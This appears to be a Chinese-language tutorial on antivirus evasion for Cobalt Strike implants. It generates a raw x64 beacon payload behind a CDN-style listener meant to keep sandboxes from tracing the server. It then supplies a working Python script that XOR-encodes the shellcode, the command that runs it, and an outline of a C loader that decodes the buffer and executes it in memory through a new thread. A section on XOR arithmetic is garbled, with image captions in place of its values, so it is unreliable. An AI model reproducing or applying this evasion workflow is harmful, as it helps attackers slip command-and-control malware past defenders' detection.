生成payload

深造的播放器无法截屏做笔记,所以只能手机拍摄。见谅!

免杀基础(一)_目标文件

打开cs,在Attacks-PACKages-payload Generator

免杀基础(一)_目标文件_02

监听器的话选择这个yunTEN-点击Choose

用这个可以隐藏自己本身的服务器,丢给沙箱,沙箱没发直接定位到你个人这台服务器的。她没办法拿到,她拿到的是类似于cdn一样的节点

类似于CDN的节点,在网络中通常是指内容分发网络(CDN)中的缓存服务器或边缘节点。这些节点是分布在不同地理位置上的服务器,用于缓存和加速用户对网站内容的访问。


免杀基础(一)_Python_03

下拉框选择Raw

免杀基础(一)_源文件_04

然后把64这个payload点上√

RAW格式是一种未经处理、非破坏性的图像文件存储格式。是一个原生代码格式,他是一个二进制文件。

免杀基础(一)_Python_05

点击Generate-生成一下

免杀基础(一)_目标文件_06

选择保存位置(我这里是保存到桌面)-可以看到生成后是.bin文件名后缀

免杀基础(一)_Python_07

然后回返回这个弹窗

免杀基础(一)_目标文件_08

保存出来之后呢,这边需要用payload去做一个混淆,因为正常情况下你拿到shellcode她本身就是带有一定特征的。

那对shellcode这一部分做混淆也是很简单,去做一个异或就够了。

因为杀软他一部分是查杀你这个payload,还有一部分它查杀的是你的程序她调用的一个函数,类似于一些敏感的函数

免杀基础(一)_源文件_09

比如说这个函数,这个函数其实也是挺敏感的。只要你这边有shellcode的话,只要有这个函数基本上都会给杀掉。就是类似于这么一个意思,就是要对这些东西做一个混淆。

拿到这个之后的话呢,之前已经写好脚本了。直接就可以去用了。 

免杀基础(一)_Python_10

代码段就是这个样子

免杀基础(一)_目标文件_11

杀软监测规则

利用:


- 即利用对高信誉签名的信任,可以完成任意启动项的添加。


 > 优点:灵活,可以直接完成绝大部分行为的bypass

 >

 > 缺点:难找,难利用。

异或

免杀基础(一)_源文件_12


异或规则是二进制运算中的一种,其规则为:两个比较的位相同,则结果为0;不同,则结果为1。

对于给定的问题,我们需要将每个数转换为二进制形式,然后进行异或操作。

  1. 免杀基础(一)_源文件_13时,免杀基础(一)_Python_14(十进制),转换为二进制是免杀基础(一)_Python_15。所以,免杀基础(一)_Python_16,转换回十进制是免杀基础(一)_目标文件_17
  2. 免杀基础(一)_源文件_18时,免杀基础(一)_源文件_19(十进制),转换为二进制是免杀基础(一)_Python_20。所以,免杀基础(一)_目标文件_21,转换回十进制是免杀基础(一)_源文件_22
  3. 免杀基础(一)_源文件_23时,免杀基础(一)_Python_14(十进制),转换为二进制是免杀基础(一)_Python_15。所以,免杀基础(一)_目标文件_26,转换回十进制是免杀基础(一)_Python_27

因此,最终答案是:

  • 免杀基础(一)_源文件_13时,结果是免杀基础(一)_目标文件_17
  • 免杀基础(一)_源文件_18时,结果是免杀基础(一)_源文件_22
  • 免杀基础(一)_源文件_23时,结果是免杀基础(一)_Python_27

把异或后的值还原

for i in t:

     s = xor_key^i

        print(s)

要还原异或后的值,我们需要再次对结果进行异或操作,使用相同的密钥。这是因为异或运算具有可逆性,即两次异或同一个值会返回原始值。

假设我们有一个密钥 xor_key 和一个列表 t,其中包含被加密的数值。我们可以使用以下代码来还原这些值:

xor_key = 10  # 示例密钥
t = [10, 97, 8]  # 示例加密后的列表

for i in t:
    s = xor_key ^ i  # 使用相同的密钥进行异或操作以还原原始值
    print(s)

这段代码将输出原始的未加密值。在这个例子中,输出将是:

0
1
2

这表示原始列表中的值分别是0、1和2。

免杀基础(一)_源文件_34

主要看一下代码,看一下怎么去吧一个二进制文件去做一个异或。

免杀基础(一)_Python_35

这里是用脚本的方式读取的,这边有四个参数,第一个是你要异或的值,

这段代码实现了一个使用XOR运算进行简单加密和解密的Python脚本。它使用了argparse库来处理命令行参数,允许用户指定XOR密钥、源文件、目标文件以及是否输出原始数据文件。下面是对代码各部分的详细解释:

  1. 引入库:
import argparse

这行代码导入了Python的argparse模块,该模块用于解析命令行参数。

  1. 定义主函数:
def xor_encode(key, src, dst, raw):
    while True:
        data = src.read(1)
        if not data:
            break
        encrypted_char = chr(ord(data) ^ key)
        dst.write(encrypted_char.encode())
        raw.write(encrypted_char.encode())

这个函数xor_encode接收四个参数:key(XOR密钥),src(源文件对象),dst(目标文件对象),以及raw(用于存储加密数据的原始文件对象)。函数读取源文件中的每一个字节,将其与密钥进行XOR运算,然后将结果写入目标文件和原始文件。这个过程会持续到源文件的所有数据都被读取和处理完毕。

  1. 设置命令行参数解析器:
parser = argparse.ArgumentParser(description="Python XOR encoder")
parser.add_argument('-n', '--num', help='xor key', type=int, default=10)
parser.add_argument('-s', '--src', help='source file', type=argparse.FileType('rb'))
parser.add_argument('-d', '--dst', help='destination file', type=argparse.FileType('w+'))
parser.add_argument('-r', '--raw', help='output raw file', type=argparse.FileType('wb+'))
args = parser.parse_args()

这部分代码创建了一个命令行参数解析器,并定义了四个参数:

  • -n--num:XOR密钥,类型为整数,默认值为10。
  • -s--src:源文件,以二进制读模式打开。
  • -d--dst:目标文件,以读写模式打开。
  • -r--raw:输出原始数据文件,以二进制写模式打开。
  1. 调用主函数:
if __name__ == '__main__':
    print("".center(100, '='))
    print("AUTHOR: ILU".center(100, '='))
    print("".center(100, '='))
    xor_encode(args.num, args.src, args.dst, args.raw)

这部分代码首先打印一些格式化的文本,然后调用xor_encode函数,传入从命令行解析得到的参数。这是程序的入口点,当脚本被直接运行时会执行这部分代码。

总结来说,这段代码提供了一个命令行工具,用于使用指定的XOR密钥对文件进行加密,并将加密后的数据保存到另一个文件中。同时,它还可以选择将加密数据输出到一个原始数据文件中。

免杀基础(一)_目标文件_36

这段代码实现了一个使用XOR运算进行加密的Python脚本,并且生成了用于Linux系统的shellcode。它使用了argparse库来处理命令行参数,允许用户指定XOR密钥、源文件、目标文件以及是否输出原始数据文件。下面是对代码各部分的详细解释:

  1. 引入库:
import argparse

这行代码导入了Python的argparse模块,该模块用于解析命令行参数。

  1. 定义主函数:
def xor_encode(key, src, dst, raw):
    shellcode = ''
    shellcode_raw = b''
    shellcode_size = 0
    try:
        while True:
            code = src.read(1)
            if not code:
                break
            # 异或
            xor = ord(code) ^ key
            xor_str = chr(xor)
            shellcode_raw += xor_str.encode()
            code_hex = hex(xor)
            # print(code_hex)
            code_hex = code_hex.replace('0x', '')
            # print(code_hex)
            if len(code_hex) == 1:
                code_hex = '0' + code_hex
            shellcode += r'\x{' + code_hex + '}'
            print(shellcode)
            shellcode_size += 1
        src.close()
        dst.write(shellcode)
        dst.close()
        raw.write(shellcode_raw)
    except Exception as e:
        print(e)

这个函数xor_encode接收四个参数:key(XOR密钥),src(源文件对象),dst(目标文件对象),以及raw(用于存储加密数据的原始文件对象)。函数读取源文件中的每一个字节,将其与密钥进行XOR运算,然后将结果写入目标文件和原始文件。同时,它还生成相应的shellcode并打印出来。这个过程会持续到源文件的所有数据都被读取和处理完毕。如果在过程中发生任何异常,它会捕获并打印异常信息。

  1. 设置命令行参数解析器:
parser = argparse.ArgumentParser(description="Python XOR encoder")
parser.add_argument('-n', '--num', help='xor key', type=int, default=10)
parser.add_argument('-s', '--src', help='source file', type=argparse.FileType('rb'))
parser.add_argument('-d', '--dst', help='destination file', type=argparse.FileType('w+'))
parser.add_argument('-r', '--raw', help='output raw file', type=argparse.FileType('wb+'))
args = parser.parse_args()

这部分代码创建了一个命令行参数解析器,并定义了四个参数:

  • -n--num:XOR密钥,类型为整数,默认值为10。
  • -s--src:源文件,以二进制读模式打开。
  • -d--dst:目标文件,以读写模式打开。
  • -r--raw:输出原始数据文件,以二进制写模式打开。
  1. 调用主函数:
if __name__ == '__main__':
    xor_encode(args.num, args.src, args.dst, args.raw)

这部分代码是程序的入口点,当脚本被直接运行时会执行这部分代码。它调用xor_encode函数,传入从命令行解析得到的参数。

总结来说,这段代码提供了一个命令行工具,用于使用指定的XOR密钥对文件进行加密,并将加密后的数据保存到另一个文件中。同时,它还可以选择将加密数据输出到一个原始数据文件中,并生成相应的shellcode。

ord()把字符转成ascii码

chr()ASCII码转字符

这两个是相对应的函数

^就是异或符

xor = ord(code)^key
xor_str = chr(xor)

这样就异或完了

shellcode_raw += xor_str.encode()

这个是存储它的一个二进制的数字,后面encode呢是做了一个编码

code_hex = hex(xor)

code_hex 就是对异或后的数据转换成16进制

code_hex = code_hex.replace('0x','')

这个就是把前面的0x替换为空,不过存储为{0x7e,0x...}这种格式去存储也是可以的

现在处理成了字符串类型,"\ x7e"转成了这种方式

后面一段就不细讲了

最后保存一下

免杀基础(一)_源文件_37

然后把刚刚生成的文件做一个异或

免杀基础(一)_Python_38

用python 运行.\xor_encode.py

免杀基础(一)_源文件_39

python .\xor_encode.py -n 45 -s C:\Users\一瓢饮\Desktop\payload.bin -d C:\Users\一瓢饮\Desktop\payload.c -r p.bin

这个命令是用来运行一个名为 xor_encode.py 的 Python 脚本,并传递一些参数给它。让我们逐个解释这些参数:

  1. python .\xor_encode.py: 这是在命令行中调用 Python 解释器来运行当前目录下的 xor_encode.py 脚本。
  2. -n 45: 这个参数传递给脚本,表示使用数字 45 作为某个选项的值。具体含义取决于 xor_encode.py 脚本的实现。
  3. -s C:\Users\一瓢饮\Desktop\payload.bin: 这个参数指定了源文件路径,即 C:\Users\一瓢饮\Desktop\payload.bin。这个文件可能是要被处理或编码的数据文件。
  4. -d C:\Users\一瓢饮\Desktop\payload.c: 这个参数指定了目标文件路径,即 C:\Users\一瓢饮\Desktop\payload.c。这个文件可能是处理后生成的文件。
  5. -r p.bin: 这个参数指定了一个输出文件路径,即 p.bin。这个文件可能是某种结果文件,比如编码后的二进制数据。

总结一下,这个命令的作用是运行 xor_encode.py 脚本,用指定的参数进行某种操作(可能是对 payload.bin 文件进行 XOR 编码),并将结果保存到 payload.cp.bin 文件中。具体的操作细节需要查看 xor_encode.py 脚本的代码才能确定。

免杀基础(一)_源文件_40

这样就是保存好了

 

免杀基础(一)_目标文件_41

这个文件就输出到了这里

免杀基础(一)_目标文件_42

异或后的代码就是这个,这个的话我们就可以来用了。

免杀基础(一)_Python_43

1.异或后的代码

unsigned char buf[] = ""

unsigned int key = 45;

for (int i = 0;i< sizeof(buf);i++) {

        buf[i] ^=key;

}

2.申请内存

3.把shellcode写入内存

4.创建线程的方式调用shellcode